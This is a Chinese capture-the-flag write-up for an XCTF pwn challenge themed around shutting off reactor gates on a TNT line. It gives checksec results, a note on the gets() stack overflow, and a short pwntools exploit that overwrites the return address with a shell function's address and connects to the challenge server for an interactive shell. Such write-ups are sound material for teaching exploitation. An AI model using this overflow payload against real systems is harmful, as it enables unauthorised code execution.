XCTF-PWN-反应釜开关控制

题目描述

小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多个闸门,得想办法帮她把闸门都关掉才行。

WP

checksec

1
2
3
4
5
6
7
ubuntu@LAPTOP-V4AB5SPG:/mnt/d/me/CTF/xctf/fyfkgkz$ checksec ./fyfkgkz
[*] '/mnt/d/me/CTF/xctf/fyfkgkz/fyfkgkz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

IDA

image-20211023165913587

发现gets函数可以溢出,并且可以找到shell函数,如下图:

image-20211023170318793

查看v5在栈中的情况:

image-20211023170535752 image-20211023170602400

需要0x200+0x8长度数据覆盖

下面是shell函数的地址:

image-20211023170855845

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *

#p = process('fyfkgkz')
p = remote('111.200.241.244', 64915)

payload = (0x200 + 0x8) * b'a' + p64(0x4005F6)

p.recv()
p.sendline(payload)
p.interactive()

结果

image-20211023171329798